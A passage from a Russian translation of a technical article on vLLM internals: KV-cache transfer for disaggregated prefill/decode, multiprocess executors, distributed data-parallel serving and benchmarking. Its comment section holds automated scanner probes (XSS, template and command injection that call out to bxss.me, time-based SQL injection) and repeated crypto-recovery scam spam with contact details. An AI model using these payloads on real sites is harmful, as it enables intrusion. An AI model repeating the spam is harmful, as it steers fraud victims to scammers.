  # Внутренне он сначала получит KV-кэш перед запуском цикла декодирования
  outputs = llm.generate(prompts, sampling_params)

if __name__ == "__main__":
  prefill_done = Event()
  prefill_process = Process(target=run_prefill, args=(prefill_done,))
  decode_process = Process(target=run_decode, args=(prefill_done,))

  prefill_process.start()
  decode_process.start()

  decode_process.join()
  prefill_process.terminate()

Я также экспериментировал с LMCache, самым быстрым коннектором, готовым к продакшену (использует NVIDIA NIXL в качестве бэкенда), но он всe ещe находится на самом переднем крае, и я столкнулся с некоторыми багами. Поскольку большая часть его сложности находится во внешнем репозитории, SharedStorageConnector — лучший выбор для объяснения

Это шаги в vLLM:

  1. Создание — во время конструирования движка коннекторы создаются в двух местах:

    • Внутри процедуры инициализации устройства воркера (в функции инициализации распределённого окружения воркера), с ролью «worker»

    • Внутри конструктора планировщика, с ролью «scheduler»

  2. Поиск в кеше — когда планировщик обрабатывает запросы префилла из очереди waiting (после локальных проверок кеша префиксов), он вызывает get_num_new_matched_tokens коннектора. Это проверяет наличие внешне закешированных токенов на сервере KV-кэша. Префилл всегда видит здесь 0; декодирование может иметь попадание в кеш (cache hit). Результат добавляется к локальному счётчику перед вызовом allocate_slots

  3. Обновление состояния — затем планировщик вызывает connector.update_state_after_alloc, который записывает запросы, имевшие кеш (пустая операция для префилла)

  4. Построение объекта метаданных — в конце планирования планировщик вызывает meta =connector.build_connector_meta:

    • Префилл добавляет все запросы с is_store=True (для загрузки KV).

    • Декодирование добавляет запросы с is_store=False (для получения KV).

  5. Контекстный менеджер — перед прямым проходом движок входит в контекстный менеджер KV-коннектора:

    • при входе: вызывается kv_connector.start_load_kv. Для декодирования это загружает KV с внешнего сервера и внедряет его в страничную память. Для префилла это пустая операция

    • при выходе: вызывается kv_connector.wait_for_save. Для префилла это блокирует до тех пор, пока KV не будет загружен на внешний сервер. Для декодирования это пустая операция

Вот визуальный пример:

Рисунок 12: Разделенные P/D
Рисунок 12: Разделенные P/D
  • Для SharedStorageConnector «внешний сервер» — это просто локальная файловая система

  • В зависимости от конфигурации передачи KV также могут выполняться слой за слоем (до/после каждого слоя внимания)

  • Декодирование загружает внешний KV только один раз, на первом шаге своих запросов; после этого оно вычисляет/сохраняет локально

От UniProcExecutor к MultiProcExecutor

Разобравшись с основными техниками, мы можем перейти к масштабированию.

Предположим, веса вашей модели перестали помещаться в памяти одного GPU.

Первое решение — распределить модель по нескольким GPU на одном узле через параллелизм тензоров (tensor parallelism) (например, TP=8). Если модель все еще не помещается, следующий шаг — конвейерный параллелизм (pipeline parallelism) между узлами.

Пропускная способность внутри узла (intranode bandwidth) значительно выше, чем между узлами (internode), поэтому параллелизм тензоров (TP) обычно предпочтительнее конвейерного параллелизма (PP) (также верно, что PP передаёт меньше данных, чем TP)

Я не рассматриваю параллелизм экспертов (expert parallelism, EP), поскольку мы фокусируемся на стандартных трансформерах, а не на MoE (смеси экспертов), и не рассматриваю параллелизм последовательностей (sequence parallelism), так как TP и PP — наиболее часто используемые на практике

На этом этапе нам нужны несколько процессов GPU (воркеров) и оркестрационный слой для их координации. Это именно то, что предоставляет MultiProcExecutor.

Рисунок 13: MultiProcExecutor при TP=8
Рисунок 13: MultiProcExecutor при TP=8

Как это работает в vLLM:

  1. MultiProcExecutor инициализирует очередь сообщений rpc_broadcast_mq (реализована через общую память)

  2. Конструктор проходит по всем рангам от 0 до world_size (общее количество воркеров, например при TP=8 имеем world_size=8) и порождает демон-процесс для каждого ранга через WorkerProc.make_worker_process

  3. Для каждого воркера родительский процесс создаёт пару каналов (pipe) для чтения и записи

  4. Новый процесс запускает WorkerProc.worker_main, который создает воркер (проходя те же этапы «инициализации устройства», «загрузки модели» и т.д., что и в UniprocExecutor)

  5. Каждый воркер определяет свою роль — драйвер (driver, ранг 0 в группе TP) или обычный воркер. Все воркеры настраивают две очереди:

    • rpc_broadcast_mq (общая с родительским процессом) для получения рабочих заданий

    • worker_response_mq для отправки результатов обратно

  6. При инициализации каждый дочерний процесс отправляет дескриптор своей worker_response_mq родителю через канал. Когда получены дескрипторы от всех воркеров, родитель разблокируется — координация завершена

  7. Воркеры входят в цикл активного ожидания, блокируясь на rpc_broadcast_mq.dequeue. При поступлении рабочего задания они его исполняют (аналогично UniprocExecutor, но с работой, разделённой согласно TP/PP). Результаты отправляются через worker_response_mq.enqueue

  8. При получении запроса MultiProcExecutor помещает его в rpc_broadcast_mq (неблокирующая операция) для всех дочерних воркеров. Затем ожидает результат от назначенного выходного ранга через worker_response_mq.dequeue

С точки зрения движка ничего не изменилось — вся эта сложность мультипроцессинга абстрагирована через вызов execute_model исполнителя модели.

  • В случае UniProcExecutor: execute_model напрямую приводит к вызову execute_model на воркере

  • В случае MultiProcExecutor: execute_model косвенно приводит к вызову execute_model на каждом воркере через rpc_broadcast_mq

На этом этапе мы можем запускать модели настолько большие, насколько позволяют ресурсы, используя тот же интерфейс движка.

Следующий шаг — масштабирование вширь (scale out): включить параллелизм данных (data parallelism, DP > 1), реплицируя модель по узлам, добавить лeгкий слой координации DP, ввести балансировку нагрузки между репликами и разместить один или несколько API-серверов перед ними для обработки входящего трафика.

Распределённая система сервинга vLLM

Существует много способов настройки инфраструктуры сервинга, но чтобы быть конкретными, вот один пример: предположим, у нас есть два узла H100 и мы хотим запустить четыре движка vLLM на них.

Если модель требует TP=4, мы можем настроить узлы следующим образом.

Рисунок 14: конфигурация сервера с 2 нодами 8xH100 (1 headless, 1 с API-сервером)
Рисунок 14: конфигурация сервера с 2 нодами 8xH100 (1 headless, 1 с API-сервером)

На первой ноде запускаем движок в режиме headless (без API-сервера) со следующими аргументами:

vllm serve <model-name>
  --tensor-parallel-size 4
  --data-parallel-size 4
  --data-parallel-size-local 2
  --data-parallel-start-rank 0
  --data-parallel-address <master-ip>
  --data-parallel-rpc-port 13345
  --headless

и запускаем ту же команду на другой ноде с небольшими изменениями:

  • без --headless

  • с измененным стартовым рангом DP (DP start rank)

vllm serve <model-name>
  --tensor-parallel-size 4
  --data-parallel-size 4
  --data-parallel-size-local 2
  --data-parallel-start-rank 2
  --data-parallel-address <master-ip>
  --data-parallel-rpc-port 13345

Предполагается, что сеть настроена так, что все ноды имеют доступ к указанному IP и порту.

Как это работает в vLLM?

На headless-ноде сервера

На headless-ноде CoreEngineProcManager запускает 2 процесса (согласно --data-parallel-size-local), каждый из которых выполняет EngineCoreProc.run_engine_core. Каждая из этих функций создаeт DPEngineCoreProc (ядро движка) и затем входит в свой цикл активного ожидания (busy loop).

DPEngineCoreProc инициализирует свой родительский EngineCoreProc (потомок EngineCore), который:

  1. Создаёт input_queue (очередь входных данных) и output_queue (очередь выходных данных) (queue.Queue)

  2. Выполняет начальное рукопожатие с фронтендом на другой ноде, используя сокет DEALER ZMQ (библиотека асинхронного обмена сообщениями), и получает информацию об адресе координации

  3. Инициализирует группу DP (например, используя бэкенд NCCL)

  4. Инициализирует EngineCore с MultiProcExecutor (TP=4 на 4 GPU, как описано ранее)

  5. Создаeт ready_event (событие готовности) (threading.Event)

  6. Запускает демон-поток входных данных (threading.Thread), выполняющий process_input_sockets(…, ready_event). Аналогично запускает поток выходных данных

  7. Всё ещё в главном потоке ожидает ready_event до тех пор, пока все потоки входных данных во всех 4 процессах (охватывающих 2 ноды) не завершат координационное рукопожатие, наконец выполняя ready_event.set()

  8. После разблокировки отправляет сообщение «готов» (ready) фронтенду с метаданными (например, num_gpu_blocks (количество GPU-блоков), доступных в памяти страничного KV-кэша)

  9. Главный поток, потоки входных и выходных данных затем входят в свои соответствующие циклы активного ожидания

Кратко: В итоге получаем 4 дочерних процесса (по одному на реплику DP), каждый из которых запускает главный поток, поток входных и выходных данных. Они завершают координационное рукопожатие с координатором DP и фронтендом, затем все три потока на процесс работают в установившихся циклах активного ожидания.

Рисунок 15: распределенная система с 4 репликами DP, запускающими 4 DPEngineCoreProc
Рисунок 15: распределенная система с 4 репликами DP, запускающими 4 DPEngineCoreProc

Текущее установившееся состояние:

  • Поток входных данных — блокируется на входном сокете до тех пор, пока запрос не будет маршрутизирован от API-сервера; при получении декодирует payload (полезную нагрузку), ставит рабочий элемент в очередь через input_queue.put_nowait(...) и возвращается к блокировке на сокете

  • Главный поток — пробуждается на input_queue.get(...), подаёт запрос движку; MultiProcExecutor выполняет прямой проход и ставит результаты в очередь output_queue

  • Поток выходных данных — пробуждается на output_queue.get(...), отправляет результат обратно API-серверу, затем возобновляет блокировку

Дополнительные механики:

  • Счётчик волн DP — система отслеживает «волны»; когда все движки становятся неактивными, они переходят в состояние покоя, и счeтчик увеличивается при поступлении новой работы (полезно для координации/метрик)

  • Управляющие сообщения — API-сервер может отправлять не только запросы инференса (например, прерывания и утилитарные/управляющие RPC)

  • Фиктивные шаги для синхронного выполнения (lockstep) — если у любой реплики DP есть работа, все реплики выполняют шаг прямого прохода; реплики без запросов выполняют фиктивный шаг для участия в обязательных точках синхронизации (избегает блокировки активной реплики)

Уточнение о синхронном выполнении (lockstep): это фактически требуется только для моделей MoE, где слои экспертов формируют группу EP или TP, в то время как слои внимания остаются DP. В настоящее время это всегда делается с DP — просто потому что «встроенный» DP для не-MoE моделей имеет ограниченное применение, поскольку вы можете просто запустить несколько независимых инстансов vLLM и балансировать нагрузку между ними обычным способом.

Теперь вторая часть — что происходит на ноде с API-сервером?

На ноде с API-сервером

Мы создаем объект AsyncLLM (асинхронная обертка asyncio вокруг движка LLM). Внутренне это создает DPLBAsyncMPClient (клиент с параллелизмом данных, балансировкой нагрузки, асинхронный и мультипроцессный).

Внутри родительского класса MPClient выполняется функция launch_core_engines:

  1. Создает ZMQ-адреса, используемые для стартового рукопожатия (как видно на headless-ноде)

  2. Порождает процесс DPCoordinator (координатора DP)

  3. Создает CoreEngineProcManager (так же, как на headless-ноде)

Внутри AsyncMPClient (потомок MPClient) мы:

  1. Создаем outputs_queue (очередь выходных данных) (asyncio.Queue)

  2. Создаем asyncio-задачу process_outputs_socket, которая коммуницирует (через выходной сокет) с потоками выходных данных всех 4 DPEngineCoreProc и записывает в outputs_queue

  3. Затем еще одна asyncio-задача output_handler из AsyncLLM читает из этой очереди и, наконец, отправляет информацию функции create_completion

Внутри DPAsyncMPClient мы создаем asyncio-задачу run_engine_stats_update_task, которая коммуницирует с координатором DP.

Координатор DP выступает посредником между фронтендом (API-сервером) и бэкендом (ядрами движков):

  • Периодически отправляет информацию о балансировке нагрузки (размеры очередей, количество запросов в состояниях ожидания и выполнения) в run_engine_stats_update_task фронтенда

  • Обрабатывает команды SCALE_ELASTIC_EP от фронтенда путем динамического изменения количества движков (работает только с бэкендом Ray)

  • Отправляет события START_DP_WAVE бэкенду (при триггере от фронтенда) и сообщает об обновлениях состояния волны обратно

Подводя итог, фронтенд (AsyncLLM) запускает несколько asyncio-задач (важно: конкурентные, не параллельные):

  • Класс задач обрабатывает входящие запросы через путь generate (каждый новый клиентский запрос порождает новую asyncio-задачу)

  • Две задачи (process_outputs_socket, output_handler) обрабатывают выходные сообщения от базовых движков

  • Одна задача (run_engine_stats_update_task) поддерживает связь с координатором DP: отправляет триггеры волн, опрашивает состояние балансировки нагрузки и обрабатывает запросы динамического масштабирования

Наконец, главный процесс сервера создает приложение FastAPI и монтирует endpoints (конечные точки), такие как OpenAIServingCompletion и OpenAIServingChat, которые предоставляют /completion, /chat/completion и другие. Затем стек обслуживается через Uvicorn.

Итак, собирая все вместе, вот полный жизненный цикл запроса!

Вы отправляете из терминала:

curl -X POST http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{
  "model": "TinyLlama/TinyLlama-1.1B-Chat-v1.0",
  "prompt": "The capital of France is",
  "max_tokens": 50,
  "temperature": 0.7
}'

Что происходит далее:

  1. Запрос поступает в эндпоинт create_completion класса OpenAIServingCompletion на API-сервере

  2. Функция асинхронно токенизирует промпт и подготавливает метаданные (ID запроса, параметры сэмплирования, временную метку и т.д.)

  3. Затем вызывается AsyncLLM.generate, который идет по тому же пути, что и синхронный движок, в итоге вызывая DPAsyncMPClient.add_request_async

  4. Это вызывает get_core_engine_for_request, который балансирует нагрузку между движками на основе состояния координатора DP (выбирает движок с минимальным показателем нагрузки: score = len(waiting) * 4 + len(running))

  5. Запрос ADD отправляется во входной сокет (input_socket) выбранного движка

  6. На этом движке:

    • Поток входных данных — пробуждается, декодирует данные из входного сокета и помещает задачу в input_queue для главного потока

    • Главный поток — пробуждается на input_queue, добавляет запрос в движок и циклически вызывает engine_core.step(), помещая промежуточные результаты в output_queue до выполнения условия остановки

Напоминание: step() вызывает планировщик, исполнитель модели (который в свою очередь может быть MultiProcExecutor!), и т.д. Мы уже видели это!

  • Поток выходных данных — разблокируется на output_queue и отправляет результаты обратно через выходной сокет

  1. Эти результаты активируют asyncio-задачи вывода AsyncLLM (process_outputs_socket и output_handler), которые передают токены обратно в эндпоинт create_completion FastAPI

  2. FastAPI добавляет метаданные (причина завершения, логарифмы вероятностей (logprobs), информация об использовании и т.д.) и возвращает JSONResponse через Uvicorn в ваш терминал!

И вот так ваше completion вернулось — вся распределенная механика скрыта за простой командой curl! :) Ну классно же!

При добавлении большего количества API-серверов балансировка нагрузки обрабатывается на уровне ОС/сокетов. С точки зрения приложения ничего существенного не меняется — сложность скрыта

С Ray в качестве бэкенда DP вы можете предоставить URL-эндпоинт (/scale_elastic_ep), который позволяет автоматическое масштабирование количества реплик движка вверх или вниз

Бенчмарки и автонастройка - задержка vs пропускная способность

До сих пор мы анализировали «частицы газа» — внутреннее устройство того, как запросы проходят через движок/систему. Теперь пора отдалиться и посмотреть на систему в целом, и задать вопрос: как мы измеряем производительность системы инференса?

На самом высоком уровне существует две конкурирующие метрики:

  1. Задержка (Latency) — время от момента отправки запроса до возвращения токенов

  2. Пропускная способность (Throughput) — количество токенов/запросов в секунду, которое система может генерировать/обрабатывать

Задержка наиболее важна для интерактивных приложений, где пользователи ожидают ответов.

Пропускная способность важна в оффлайн-задачах, таких как генерация синтетических данных для запусков пре/пост-обучения, очистка/обработка данных, и в целом — любые типы оффлайн-задач пакетного инференса.

Прежде чем объяснить, почему задержка и пропускная способность конкурируют, давайте определим несколько распространенных метрик инференса:

Метрика

Определение

TTFT (time to first token, время до первого токена)

Время от отправки запроса до получения первого выходного токена

ITL (inter-token latency, задержка между токенами)

Время между двумя последовательными токенами (например, от токена i-1 до токена i)

TPOT (time per output token, время на выходной токен)

Средняя ITL по всем выходным токенам в запросе

Latency / E2E (end-to-end latency, сквозная задержка)

Полное время обработки запроса, т.е. TTFT + сумма всех ITL, или эквивалентно время между отправкой запроса и получением последнего выходного токена

Throughput (пропускная способность)

Общее количество токенов, обработанных в секунду (входных, выходных или обоих), или альтернативно запросов в секунду

Goodput (полезная пропускная способность)

Пропускная способность, соответствующая целям уровня обслуживания (SLO), таким как максимальная TTFT, TPOT или сквозная задержка. Например, учитываются только токены из запросов, соответствующих этим SLO

Рисунок 16: ttft, itl, e2e latency
Рисунок 16: ttft, itl, e2e latency

Вот упрощенная модель, объясняющая конкурирующую природу этих двух метрик.

узким местом является I/O весов модели, а не KV-кэша; т.е. мы работаем с короткими последовательностями.

Компромисс становится очевидным, если посмотреть, как размер батча B влияет на один шаг декодирования. При B ↓ к 1 задержка ITL падает: на шаг приходится меньше работы, и токен не "конкурирует" с другими. При B ↑ к бесконечности ITL растет, потому что мы выполняем больше операций с плавающей точкой (FLOP) на шаг — но пропускная способность улучшается (пока не достигнем пиковой производительности), потому что I/O весов амортизируется по большему количеству токенов.

Roofline-модель помогает это понять: ниже батча насыщения B_sat время шага определяется пропускной способностью HBM (потоковая передача весов слой за слоем в память на чипе), поэтому задержка шага почти постоянна — вычисление 1 или 10 токенов может занять примерно одинаковое время. После B_sat ядра становятся ограничены вычислениями, и время шага растет примерно пропорционально B; каждый дополнительный токен добавляет к ITL.

Рисунок 17: roofline-модель производительности
Рисунок 17: roofline-модель производительности

Для более строгого рассмотрения нам нужно учесть автонастройку ядер: по мере роста B среда выполнения может переключаться на более эффективные ядра для этой формы данных, изменяя достигнутую производительность P_kernel. Задержка шага составляет t = FLOPs_step / P_kernel, где FLOPs_step — это объем работы на шаге. Видно, что когда P_kernel достигает P_peak (пиковой производительности), больше вычислений на шаг напрямую приведет к увеличению задержки.

Как делать бенчмарки в vLLM

vLLM предоставляет CLI vllm bench {serve,latency,throughput}, который оборачивает vllm / benchmarks / {server,latency,throughput}.py.

Вот что делают скрипты:

  • latency — использует короткий ввод (по умолчанию 32 токена) и сэмплирует 128 выходных токенов с маленьким батчем (по умолчанию 8). Выполняет несколько итераций и сообщает сквозную задержку (e2e latency) для батча

  • throughput — отправляет фиксированный набор промптов (по умолчанию: 1000 примеров ShareGPT) все сразу (т.е. в режиме QPS=Inf - бесконечное количество запросов в секунду), и сообщает количество входных/выходных/всего токенов и запросов в секунду за весь запуск

  • serve — Запускает сервер vLLM и симулирует реальную рабочую нагрузку, сэмплируя времена между прибытиями запросов из распределения Пуассона (или более общего гамма-распределения). Отправляет запросы в течение временного окна, измеряет все метрики, которые мы обсуждали, и может опционально применять максимальную конкурентность на стороне сервера (через семафор, например, ограничивая сервер до 64 конкурентных запросов)

Вот пример того, как вы можете запустить скрипт latency:

vllm bench latency
  --model <model-name>
  --input-tokens 32
  --output-tokens 128
  --batch-size 8

Конфигурации бенчмарков, используемые в CI, находятся в .buildkite/nightly-benchmarks/tests

Также существует скрипт автонастройки, который управляет бенчмарком serve для поиска настроек аргументов, соответствующих целевым SLO (например, «максимизировать пропускную способность, сохраняя p99 сквозной задержки < 500 мс»), возвращая предлагаемую конфигурацию.

Эпилог

Мы начали с базового ядра движка (UniprocExecutor), добавили продвинутые функции вроде спекулятивного декодирования и кеширования префиксов, перешли к MultiProcExecutorTP/PP > 1), и наконец масштабировались горизонтально, обернув все в асинхронный движок и распределенный стек для сервинга — закончив тем, как измерять производительность системы.

vLLM также включает специализированную обработку, которую я не рассматривал. Например:

  • Разные аппаратные бэкенды: TPU, AWS Neuron (Trainium/Inferentia) и другие.

  • Архитектуры/техники: MLA, MoE, энкодер-декодер (например, Whisper), модели пулинга/эмбеддингов, EPLB, m-RoPE, LoRA, ALiBi, варианты без механизма внимания, внимание со скользящим окном (sliding-window attention), мультимодальные LM и модели пространства состояний (state-space models) (например, Mamba/Mamba-2, Jamba)

  • TP/PP/SP

  • Гибридная логика KV-кэша (Jenga), более сложные методы сэмплирования вроде лучевого поиска (beam sampling) и многое другое

  • Экспериментальное: асинхронное планирование

Хорошая новость в том, что большинство этих компонентов независимы от основного потока, описанного выше — их можно почти рассматривать как «плагины» (хотя на практике, конечно, существует некоторая связность).

Мне нравится разбираться в системах. При этом на такой высоте обзора детализация неизбежно страдает. В следующих постах я сфокусируюсь на конкретных подсистемах и погружусь в детали.


Спасибо! Это был перевод (крайне непростой и очень трудозатратный), а вот мои самонаписанные крафтовые статейки (и да — тг-канальчик Agentic World):

Источник

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

